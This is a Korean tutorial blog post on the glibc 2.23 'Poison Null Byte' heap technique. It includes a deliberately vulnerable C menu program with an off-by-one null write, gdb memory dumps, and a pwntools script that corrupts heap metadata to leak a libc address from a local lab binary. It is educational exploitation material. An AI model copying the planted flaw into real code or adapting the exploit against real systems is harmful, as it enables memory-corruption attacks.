PWNABLE] Poison Null Byte - Libc Leak

노션으로 옮김·2020년 4월 17일
1

skills

목록 보기
22/37
post-thumbnail

개요

https://devel0pment.de/?p=688 포스팅을 참고하며 정리하는 글이다.


선행지식

Off-By-One

off-by-one은 1바이트의 널바이트 삽입으로 흐름을 조작하는 기법을 말한다.

다음과 같은 코드가 있다고 할 때

void main(){
char buf[size]="";

fgets(buf, size, stdin);

buf[size]= 0x00

배열의 끝 부분을 널 바이트로 저장하기 위해서는 인덱스로 size-1을 사용해야 하지만, size로 접근하고 있기 때문에 1바이트가 오버플로우 되는 상황이다.

dummy가 없이 스택의 buf 바로 위에 ebp가 있다고 가정할 때, 마지막 코드에 의해 ebp의 마지막 1바이트가 0x00으로 덮어써질 것이다.

덮어써진 0xffffff00buf 주소의 영역이라면 함수 에필로그에 의해 eip가 내가 입력한 값으로 설정될 것이다.

Heap Basics

힙의 구조와 힙에서 사용되는 알고리즘에 대해 알아야 한다.
다음 포스팅을 참고하자

https://velog.io/@woounnan/SYSTEM-Heap-Basics-Memory-structure

https://velog.io/@woounnan/SYSTEM-Heap-Basic-Bean


Poison Null Byte

힙 영역에서 off-by-one을 이용하여 익스플로잇하는 취약점을 말한다. 취약한 bin의 구조를 이용하게 되는데, 라이브러리 버전별로 내용이 다르다.

따라서, 본 포스팅에서는 glibc-2.25 이하 버전에서 발생시키는 익스플로잇에 대해 다룰 것이며 목표는 libc-leakrip control이다.

환경

취약점을 테스트한 구체적인 환경은 다음과 같다.

OS

root@ubuntu:/work# uname -a
Linux ubuntu 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

libc

root@ubuntu:/work# ldd test
	linux-vdso.so.1 =>  (0x00007fff243f7000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc928388000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fc928752000)
root@ubuntu:/work# ls -al /lib/x86_64-linux-gnu/libc.so.6
lrwxrwxrwx 1 root root 12 Apr 18  2020 /lib/x86_64-linux-gnu/libc.so.6 -> libc-2.23.so

코드

해당 취약점이 발생하기 위해서는 전제조건이 필요하다.

1.힙 영역에 할당과 해제, 데이터 쓰기 및 읽기가 가능해야 한다.
2.취약한 bin을 선택할 수 있어야 하므로 할당하는 사이즈 또한 설정가능하다면 좀 더 수월하다.
3.off-by-one이 발생하여야 한다.

이러한 조건을 만족하는 취약한 바이너리의 소스코드를 살펴보자.

/**
 *
 * heap.c
 *
 * sample program: heap off-by-one vulnerability
 * 
 * gcc heap.c -pie -fPIE -Wl,-z,relro,-z,now -o heap
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define DELETE 1
#define PRINT 2

void create();
void process(unsigned int);

char *ptrs[10];

/**
 * main-loop: print menu, read choice, call create/delete/exit
 */
int main() {

  setvbuf(stdout, NULL, _IONBF, 0);

  while(1) {
    unsigned int choice;
    puts("1. create\n2. delete\n3. print\n4. exit");
    printf("> ");
    scanf("%u", &choice);

    switch(choice) {
      case 1: create(); break;
      case 2: process(DELETE); break;
      case 3: process(PRINT); break;
      case 4: exit(0); break;
      default: puts("invalid choice"); break;
    }
  }
}


/**
 * creates a new chunk.
 */
void create() {

  unsigned int i, size;
  unsigned int idx = 10;
  char buf[1024];

  for (i = 0; i < 10; i++) {
    if (ptrs[i] == NULL) {
      idx = i;
      break;
    }
  }
  if (idx == 10) {
    puts("no free slots\n");
    return;
  }
  
  printf("\nusing slot %u\n", idx);

  printf("size: ");
  scanf("%u", &size);
  if (size > 1023) {
    puts("maximum size (1023 bytes) exceeded\n");
    return;
  }

  printf("data: ");
  size = read(0, buf, size);
  buf[size] = 0x00;
  
  ptrs[idx] = (char*)malloc(size);
  strcpy(ptrs[idx], buf);

  puts("successfully created chunk\n");
}


/**
 * deletes or prints an existing chunk.
 */
void process(unsigned int action) {

  unsigned int idx;
  printf("idx: ");
  scanf("%u", &idx);

  if (idx > 10) {
    puts("invalid index\n");
    return;
  }

  if (ptrs[idx] == NULL) {
    puts("chunk not existing\n");
    return;
  }

  if (action == DELETE) {
    free(ptrs[idx]);
    ptrs[idx] = NULL;
    puts("successfully deleted chunk\n");
  }
  else if (action == PRINT) {
    printf("\ndata: %s\n", ptrs[idx]);
  }

}

힙 영역을 할당해서 데이터를 쓰고 읽고, 해제가 가능한 프로그램이다.

취약점

데이터를 write하는 코드에서 off-by-one 취약점이 발생한다.

  printf("size: ");
  scanf("%u", &size);
  if (size > 1023) {
    puts("maximum size (1023 bytes) exceeded\n");
    return;
  }

  printf("data: ");
  size = read(0, buf, size);
  buf[size] = 0x00;

데이터를 입력받아 힙 메모리에 복사하는 코드이다.
문제는 복사의 원본인 buf의 값을 설정할 때

buf[size] = 0

size 인덱스로 접근하여 0을 설정하고 있기 때문에
실제로는 할당된 크키에 1바이트 오버플로우된 위치에 0을 저장하는 것이다.

만약 해당 청크 뒤에 또다른 청크가 할당되어 있다면, 이 오버플로우 되는 1바이트는 뒤에 있는 청크의 flag 값을 덮어쓰게 된다.

확인해보자.

create(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0
create(0x68, 'B'*0x68) # chunk_BBB, idx = 1
create(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2
create(0x10, 'D'*0x10) # chunk_DDD, idx = 3

총 4개의 청크를 할당하고

delete(1)

chunk_BBB를 삭제시킨 후

create(0x68, 'B'*0x68) # chunk_BBB, idx = 1

다시 똑같은 사이즈의 청크를 할당하면, free됬던 chunk_BBB 위치에 재할당될 것이다.

그리고 'B'라는 문자를 size만큼 입력했으므로 1바이트가 오버플로우되서
뒤에 존재하는 chunk_CCC의 flag값이 0으로 덮어써질 것이다.

gdb-peda$ x/50gx 0x1f1a120
0x1f1a120:	0x4242424242424242	0x4242424242424242
0x1f1a130:	0x4242424242424242	0x4242424242424242
0x1f1a140:	0x4242424242424242	0x4242424242424242
0x1f1a150:	0x4242424242424242	0x4242424242424242
0x1f1a160:	0x4242424242424242	0x4242424242424242
0x1f1a170:	0x4242424242424242	0x4242424242424242
0x1f1a180:	0x4242424242424242	0x0000000000000100 # overwritten here
0x1f1a190:	0x4343434343434343	0x4343434343434343
0x1f1a1a0:	0x4343434343434343	0x4343434343434343
0x1f1a1b0:	0x4343434343434343	0x4343434343434343
0x1f1a1c0:	0x4343434343434343	0x4343434343434343

실제로 위의 디버깅 결과를 보면, chunk_BBB가 할당되어있는 상태이므로 chunk_CCCprev_inuse 플래그 값이 1로 설정되서 사이즈값 0x100 + 플래그값 1 = 0x101이 저장되어 있어야 하지만, 0x100이 존재한다.

이 취약점을 이용해서 이전 청크를 free된 것처럼 속일 수 있게 된다.

청크 병합

힙에서 연속된 청크가 모두 free 상태일 때, 힙에서는 이 청크들의 병합을 수행한다.

이 특징과 위의 off-by-one 취약점을 이용하여 할당되어있는 청크를 free된 청크로 속인 후, 실제 free된 청크와 병합시킬 수 있다.

병합의 이유

병합시키는 목적은 무엇일까?

최종 목표는 libc의 주소를 얻는 것이다.
glibc-2.23버전에서는 small bin 사이즈로 할당한 청크를 free시킬 경우, free된 청크의 fd, bk에 small bin의 주소가 저장된다.
이 값을 leak 시킬 경우 libc의 주소를 얻을 수 있게 된다.

하지만, vuln 코드를 보면 free 후에 해당 포인터를 초기화시키므로 free된 청크에 다시 접근해서 그 값을 출력할 수 없다.

따라서 실제로 할당되있는 chunk_BBB를 free된 것처럼 속이고, 이 속인 chunk_BBB 뒤에 chunk_CCC를 실제로 free시키면 이 두 개의 청크는 병합될 것이다.
그리고 앞에 위치한 chunk_BBB에 small bin의 주소가 저장되고 chunk_BBB는 할당되어있는 청크이므로 이 small bin의 주소값을 출력할 수 있게 된다.

변수

하지만 우회해야할 변수가 존재한다.

malloc.cfree() 코드를 보면

if (!prev_inuse(p)) {
	prevsize = prev_size (p);
	size += prevsize;
	p = chunk_at_offset(p, -((long) prevsize));
	unlink(av, p, bck, fwd);
}

처음에 prev_inuse를 검사하여, 현재 free하는 청크의 이전 청크 또한 free된 청크일 경우 병합을 위해 사이즈 값을 더한다.

이는 앞서 살펴봤듯이, prev_inuse가 조작가능한 값이기 때문에 문제없이 통과할 수 있다.

하지만, 마지막에 실행하는 unlink()의 코드를 보면

#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");			      \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr ("corrupted double-linked list");			      \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;					

먼저 prev_size를 검사한다. (이것 역시 이후에 조작해야될 값이며, 쉽게 조작 가능하다.)

일치한다면 다음으로 fd, bk 포인터의 값을 검사하게 되는데

지금까지 chunk_BBB, chunk_CCC를 병합시킨 상황에서 위 조건을 검사한다면 해당 조건에서 필터되어 free()는 에러를 발생시킬 것이다.

조작한 chunk_BBB는 원래 free시킨 청크가 아니기 때문에 fd, bk가 가리키는 small bin에는 chunk_BBB의 주소값이 저장되있지 않기 때문이다.

그렇기 때문에 시나리오를 변경해야 하며, chunk_AAA를 추가하는 것으로 위의 조건을 우회할 수 있다.

1.chunk_AAA를 free 시켜 놓는다.
2.chunk_BBB로 오버플로우 시킨다.
3.chunk_CCC를 free 시킨다. 이것으로 chunk_AAA, chunk_BBB, chunk_CCC 세 개의 청크가 병합될 것이다.
4.그리고 fd, bkchunk_AAA에 위치하게 된다.
5.위의 조건을 검사한다. 하지만 chunk_AAA는 실제 free된 청크이므로 small bin에 주소가 저장되어있어, 이 조건을 통과할 수 있다.

Libc Leak

그럼 이제 조건은 우회했다. 그러나 chunk_AAA는 실제 free되었으므로 이곳에 저장된 small bin의 주소값을 출력할 수 없게 된다.

다행히 이것 또한 동일한 크기의 chunk_AAA를 재할당하는 것으로 해결할 수 있다.

재할당하게 되면, 기존에 chunk_AAA에 저장되어있던 fd, bk는 재할당된 크기만큼 밀려나게 된다. chunk_AAA의 원래 크기만큼 재할당했으므로 밀려난 위치는 chunk_BBB이다.

chunk_BBB는 할당되어있는 청크이므로 이 값을 출력하여 libc 주소를 얻을 수 있다.

스크립트 작성

앞서 정리한 내용을 파이썬 스크립트로 실행하여 동작을 확인하겠다.

from pwn import *
 
p = process('./vuln')
 
def create(size, data):
  p.sendlineafter('>', str(1))
  p.sendlineafter('size: ', str(size))
  p.sendlineafter('data: ', data)
 
def delete(idx):
  p.sendlineafter('>', str(2))
  p.sendlineafter('idx: ', str(idx))
 
def printData(idx):
  p.sendlineafter('>', str(3))
  p.sendlineafter('idx: ', str(idx))
  p.recvuntil('data: ')
  ret = p.recvuntil('\n')
  return ret[:-1]

먼저 편의를 위해 각 기능을 실행하는 함수를 정의한다.

size_a = 0xf8
size_b = 0x68
size_c = 0xf8
create(size_a, 'A'*size_a) # chunk_AAA, idx = 0
create(size_b, 'B'*size_b) # chunk_BBB, idx = 1
create(size_c, 'C'*size_c) # chunk_CCC, idx = 2
create(0x10, 'D'*0x10) # chunk_DDD, idx = 3

처음에 청크를 4개 생성한다.

delete(1)
delete(0)

다음으로 chunk_AAAchunk_BBB를 free시킨다.
이 때 chunk_AAAsmall bin, chunk_BBBfast bin에 다르게 저장되므로 병합되지 않는다.

size_atob = size_a+8+size_b+8
for sz in range(size_b, size_b-7, -1):
	delete(0)
	create(sz, 'B'*(sz-2) + p32(size_atob)[:2])

chunk_BBB를 다시 할당하여 chunk_CCCprev_inuse 플래그를 오버플로우 시키고, 마지막 chunk_BBB의 8바이트에는 prev_size값을 계산하여, chunk_AAAchunk_BBB 크기의 합을 저장시킨다.
(chunk_AAA는 0x100 chunk_BBB는 0x70이므로 저장해야 하는 값은 0x170이다.)

한 가지 주의할 점은, prev_size가 위치할 마지막 8바이트의 값은 '\x70\x01\x00\x00\x00\x00\x00\x00'이지만, 복사에 사용되는 함수가 널 바이트로 문자열의 끝을 구분하는 strcpy()이기 때문에 널바이트를 넣어줄 수 없다.

따라서 최대길이부터 하나씩 줄여나가면서 데이터를 삽입하여 우리가 원하는 데이터를 입력해주어야 한다.

delete(2)
create(size_a-2, 'A'*(size_a-2))

addr_bin = int(printData(0)[::-1].encode('hex'),16)

print 'libc: ' + hex(addr_bin)

값을 모두 세팅한 후에는 chunk_CCC를 free시키고 chunk_AAA를 재할당해서 fd, bkchunk_BBB에 위치하도록 만든다.

그리고 chunk_BBB를 출력하여 libc의 주소를 획득한다.

root@ubuntu:/work# python ex.py
[+] Starting local process './vuln': pid 51268
libc: 0x7ffff7dd1b78

참조

https://www.gnu.org/software/libc/

1개의 댓글

comment-user-thumbnail
2020년 10월 18일

죄송합니다만 질문하나 하겠습니다. chunk_AAA를 할당할때 사이즈를 0xf8로 하신것은 따로 이유가 있으신건가요?

답글 달기